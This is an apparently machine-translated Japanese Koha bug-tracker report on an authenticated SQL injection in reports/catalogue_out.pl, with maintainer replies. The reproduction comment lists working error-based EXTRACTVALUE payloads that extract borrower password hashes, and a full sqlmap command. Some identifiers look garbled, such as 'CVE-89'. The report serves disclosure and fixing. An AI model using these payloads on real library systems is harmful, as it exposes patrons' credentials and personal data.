SQL Injection in Koha reports/catalogue_out.pl via Filter parameter

バグ 42361: レポート/catalgue_out.pl での SQL インジェクション（Filter パラメータ経由、エラーベース、Criteria が branchcode に一致する場合にトリガーされる） バグ概要 状態: 解決済み（FIXED） 報告日時: 2026-04-14 17:54 UTC 報告者: Sanjayb 修正日時: 2026-06-13 16:44 UTC 修正者: Heikki CC リスト: 16 名 (表示) 製品: Koha コンポーネント: レポート (他のバグを表示) バージョン: 未指定 ハードウェア: すべて 重要度: P1 - High major 目標リリース: --- 担当者: David Cook QA 担当者: Jonathan Druart URL: キーワード: 重複バグ (1 件): 37770 (バグリストとして表示) 依存関係: ブロッキング対象: 42803 依存関係グラフ表示: 添付ファイル sqlmap による証明 - ローカルホストで SQLi を確認、データベースが列挙された (233.41 KB, image/png) - 詳細 バグ 42361: catalogue_out.pl の SQL インジェクション修正 (2.40 KB, パッチ) - 詳細 - 作成者: Jonathan Druart 添付ファイルを追加（推奨パッチ、テストケースなど） 古いもの (2) を表示 すべて表示 コメント このバグにコメントをしたり変更を加えたりするにはログインが必要です。 説明 Sanjayb - 2026-04-14 17:54:51 UTC 添付ファイル 197344 [詳細] [レビュー] sqlmap による証明 - ローカルホストで SQLi を確認、データベースが列挙された 概要 レポートスクリプト reports/catalogue_out.pl は、ユーザー制御可能な Filter リクエストパラメータを LIKE ... クロースに直接連結することによって、補助的な SQL クエリ（$strth2 ステートメント）を構築します。Filter リクエストパラメータがパターン /branchcode/ にマッチすると、脆弱な連結分岐に到達し、結果として得られたステートメントはパラメータバインディングなしに prepare および実行されます。レポートモジュール権限を持つ認証済み職員ユーザーは、任意の SQL をインジェクションし、Koha アプリケーションのデータベースユーザーがアクセス可能なあらゆるテーブルのデータを参照できます。 脆弱なコードの位置 reports/catalogue_out.pl、sub calculate の内部、$tablename が 'branches' と一致する分岐内： 変数 $sf は修正されていないリクエストパラメータです。'^'-'to-'\' の置換のみ適用されています。エスケープもクォートもプレースホルダーもありません。$strth2 ステートメントは $dbh->prepare(...); $sth2->execute にバインドパラメータなしで送信されます。 現在のブランチにおける行番号 main - 100 行目 25.11.x - 100 行目 25.05.x - 100 行目 24.11.x - 99 行目 23.11.x - 99 行目 22.11.x - 99 行目 過去のリペア（git 履歴より） 脆弱なシンクはコミット 4bb77e3e4 (2008-07-09) "壊れた「貸出のないアイテム」レポートの全面的な改革" で導入されました。Git blame と log の調査により、その間に 28 個のコミットが介在していることが示されていますが、すべてセキュリティとは無関係な変更です。CVE-2013-4633 は姉妹ファイルで同じバグクラスを修正しましたが、このファイルへの汎用修正は行われませんでした。このシンクは約 17 年間にわたり突発可能な状態でした。 影響を受けるバージョン 各ブランチの現在の先端に対する直接ソースコード調査により確認されました： main - 25.12.00.042 (コミット 348846c) 25.11.x - 25.11.03.001 25.05.x - 25.05.00.000 24.11.x - 24.11.14.000 (コミット 38017b5) 23.11.x - 23.11.15.000 22.11.x - 22.11.35.000 コミット 348846c からビルドされた main ベースのローカル Koha デプロイ上で動的に突発確認済みです。 必要な権限 レポートモジュールフラグを持つ認証済み職員ユーザーです。スーパーライブラリアン（superlibrarian）は必須ではありません。 必要なリクエストの前提条件 脆弱な分岐に実行が到達するためには、Criteria リクエストパラメータが部分文字列 "branchcode" を含む必要があります。 影響 Koha データベースにおいて、アプリケーションのデータベースユーザーがアクセス可能な全行・全カラムへの読み取りアクセスが含まれます。これには機微テーブルも含みます：borrowers（パスワードハッシュ、ZFA シークレット、PII）、borrower_password_recovery、api_keys、sessions、およびすべての流通データ。 CVE-89 (SQL インジェクション) 推定 CVSS v3.1: HIGH - AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:L / A:L。 関連バグ 同じバグクラスが reports/acquisitions_stats.pl にも存在します（バグ 423260）。両者は動的な SQL への Filter リクエストパラメータの生連結という同じ根本原因を共有しています。 推奨される修正 生連結をプレースホルダーとバインド引数に置き換えること。reports/ 全体に対して同じ連結アンチパターンに関する包括的な監査が強く推奨されます。 報告者の備考 レポート/ ディレクトリのソースコードレビューにより発見され、その後ローカルデプロイされた Koha インスタンス上で動的に確認されました。 ご要望に応じて、再現手順、正確なペイロード、および応答例を非公開で共有可能です。 コメント Sanjayb - 2026-04-14 17:56:19 UTC 再現手順のウォークスルー 前提条件 デフォルトのシードデータ付きのローカル Koha インスタンス。 レポートフラグを持つ職員ユーザー。デフォルトのスーパーライブラリアン（koha）は有効ですが、レポートモジュールフラグのみを持つ任意のライブラリアンでも十分です。 ステップ 1 - ベースライン（シンクに到達していることを確認）: GET /cgi-bin/koha/reports/catalogue_out.pl?do_it=1&output=screen&limit=10&criteria=branchcode&filter=test Cookie: CGISESSID= 応答: HTTP 500（branches との JOIN なしの主クエリの branches.branchcode 参照による無関係なエラーが原因）。補助的な $strth2 クエリが最初に実行されます。インジェクションシンクは完全に有効です。 ステップ 2 - 単一リクエストによるエラーベースの証明: GET /cgi-bin/koha/reports/catalogue_out.pl?do_it=1&output=screen&limit=10&criteria=branchcode&filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e)),USER(),0x7e,DATABASE(),0x7e))%26%26 Cookie: CGISESSID= 観察された応答ボディには以下が含まれます： DBI Exception: DBD::mysql::st execute failed: XPATH syntax error: '--auxiliary_version=>' ステップ 3 - LIMIT n,1 ページングによる任意データ抽出: Filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM borrowers WHERE password IS NOT NULL LIMIT 0,1),0x7e))%26%26 bcrypt ハッシュを 2 つの 30 文字チャンクで取得します： Filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM borrowers WHERE password IS NOT NULL LIMIT 0,1), 1, 30),0x7e))%26%26 Filter=%2A%26%26EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM borrowers WHERE password IS NOT NULL LIMIT 0,1), 31, 30),0x7e))%26%26 テストされたインスタンスでは、両チャンクを連結して完全な $2y$08$ bcrypt ハッシュが返されました。 ステップ 4 - sqlmap による検証: sqlmap -u "http:///cgi-bin/koha/reports/catalogue_out.pl?do_it=1&output=screen&limit=10&criteria=branchcode&filter=test" --cookie="CGISESSID=" --dbms=mysql --technique=E --prefix="' --suffix="' --level=3 --risk=2 --batch sqlmap が同定した内容： タイプ: エラーベース タイトル: MySQL >= 5.1 AND エラーベース - WHERE、HAVING、ORDER BY または GROUP BY クロース（EXTRACTVALUE） David Cook - 2026-04-15 05:51:50 UTC バグ 37770 はこのバグの重複としてマークされました。 David Cook - 2026-04-15 05:53:00 UTC 詳細な報告をありがとうございます。非常に有益です。 David Cook - 2026-04-15 06:36:08 UTC (David Cook からのコメント #3 への返信) > 詳細な報告をありがとうございます。非常に有益です。 > > これは実在するバグです（以前はバグ 37770 として報告されていました）。ただし、リークした情報が確認できる能力自体は、実際には別の、より最近のバグです。 > > 詳細なエラーメッセージ付きスタックトレースが表示されるべきではありません。表示されるべきなのは "An error has occurred!" のみです。私はそのバグへの対処を最優先で検討し、その後このバグに戻ります。 > > スタックトレースや実際のエラーが隠蔽された後、これはデータベース全体の列挙ではなく、タイムベースの SQL インジェクションおよび DOS のリスクとしてより重大度が下がることになります。 David Cook

目標達成 すべての支援者に感謝 — 100%達成しました！

SQL Injection in Koha reports/catalogue_out.pl via Filter parameter

目標達成すべての支援者に感謝 — 100%達成しました！